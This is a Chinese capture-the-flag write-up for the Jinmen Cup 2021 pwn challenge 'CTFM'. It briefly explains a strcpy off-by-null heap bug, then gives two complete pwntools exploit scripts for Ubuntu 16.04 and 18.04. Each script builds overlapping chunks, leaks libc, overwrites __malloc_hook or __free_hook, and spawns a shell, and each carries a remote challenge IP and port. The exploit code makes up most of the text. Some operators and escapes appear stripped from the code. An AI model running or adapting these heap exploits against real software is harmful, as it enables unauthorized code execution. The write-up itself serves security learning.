[津门杯] PwnCTFM - strcpy型off-by-null学习

2022-08-01 14:09:23 浏览数 (1)

这是津门杯 2021的一个pwn

题目很明显的off-by-null,第一思路肯定是:构造unlink->overlap->leak->tcache_attack。

但是由于是strcpy向堆内存中复制,所以不能同时构造prev_sizesize域。首先很自然的想到了循环递减字符的方法清空prev_size,然后写入需要的值。但是想错了一个地方,我以为所有堆块在释放前都要被检查inuse(p),这样使得循环递减的方法无法使用(因为这需要先溢出覆盖好sizenot inuse标志)。但是查阅源码后发现,如果不定义MALLOC_DEBUG的话,是不会有这个检查的,所以是我多虑了。

整理思路之后确定:用两个unsorted chunk夹住一个unsorted chunk和一个tcache chunk,unlink构造overlap之后用被夹住的unsorted chunk泄露地址,用tcache chunktcache attack__free_hook

吸取经验,ptmalloc各个流程的检查还是要明晰一下的。

exp on Ubuntu16.04

代码语言:javascript复制
from pwn import *

p = process("./pwn")
#p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000 0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000 0xe08ncn")

    # build overlapping

    add(b"AAAA", 0x90, b"unsorted", 100) #0
    add(b"AAAA", 0x68, b"vuln", 100) #1
    add(b"AAAA", 0x68, b"vuln", 100) #2
    add(b"AAAA", 0xf0, b"AAAA", 100) #3
    add(b"split", 0x10, b"split", 100) #4
    #delete(0) into unsorted bin

    delete(2)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #2
    for i in range(7, -1, -1):
        delete(2)
        add(b"AAAA", 0x68, b"a"*(0x60 i), 100) #2
    delete(2)
    add(b"AAAA", 0x68, b"a"*0x60   p64(0x180), 100) #2
    delete(0)
    delete(3) # unlink

    # leak libc
    add(b"BBBB", 0x90, b"BBBB", 100) #0
    #add(b"BBBB", 0x68, b"BBBB", 100) #0
    gdb.attach(p)
    show(1)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"x00"))
    libc_base = libc_leak - 88 - 0x10 - libc.symbols[b"__malloc_hook"]
    malloc_hook = libc_base   libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    one_gadget = libc_base   0x4527a
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("one_gadget:", hex(one_gadget))

    # fastbin attack
    add(b"BBBB", 0x68, b"BBBB", 100) #3
    add(b"BBBB", 0x68, b"BBBB", 100) #5
    delete(1)
    delete(5)
    delete(3)

    add(b"tmp", 0x68, p64(fake_chunk), 100) #6
    add(b"tmp", 0x68, "tmp", 100) #7
    add(b"tmp", 0x68, "tmp", 100) #8
    add(b"tmp", 0x68, b"a"*0x13   p64(one_gadget), 100) #9
    print("malloc_hook:", hex(malloc_hook))

    # getshell
    delete(2)
    add(b"tmp", 0x68, "tmp", 100, False) #2


    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

exp on ubuntu18.04

代码语言:javascript复制
from pwn import *

#p = process("./pwn")
p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000 0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000 0xe08ncn")

    # build overlapping

    for i in range(7):
        add(b"AAAA", 0xf0, b"unsorted", 100) #0-6
    add(b"AAAA", 0xf0, b"unsorted", 100) #7
    add(b"AAAA", 0x68, b"vuln", 100) #8
    add(b"AAAA", 0xf0, b"unsorted", 100) #9
    for i in range(6):
        delete(i) #del 0-5
    delete(7)
    add(b"split", 0x10, b"split", 100) #0 split
    delete(6) 

    ## offbynull
    delete(8)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #1  
    ## make up prev_size  
    for i in range(8):
        delete(1)
        add(b"AAAA", 0x68, b"a"*(0x68-i), 100) #1
    delete(1)
    add(b"AAAA", 0x68, b"a"*0x60 p64(0x270), 100) #1
    delete(9) #delete 9 unlink
    #gdb.attach(p)

    # leak libc
    add(b"show", 0xf0, b"show", 100) #2
    add(b"BBBB", 0xd0, b"BBBB", 100) #3
    add(b"BBBB", 0x10, b"BBBB", 100) #4
    show(2)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"x00"))
    libc_base = libc_leak - 96 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base   libc.symbols[b"__free_hook"]
    system = libc_base   libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))

    # tcache attck
    add(b"tmp", 0x68, b"tmp", 100) #5
    delete(5)
    delete(1)
    add(b"BBBB", 0x80, b"BBBB", 100) #1
    add(b"BBBB", 0x160, p64(free_hook), 100) #5

    # rewrite freehook
    add(b"CCCC", 0x68, b"/bin/shx00", 100) #6
    add(b"CCCC", 0x68, p64(system), 100) #7
    print("free_hook:", hex(free_hook))
    delete(6)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

0 人点赞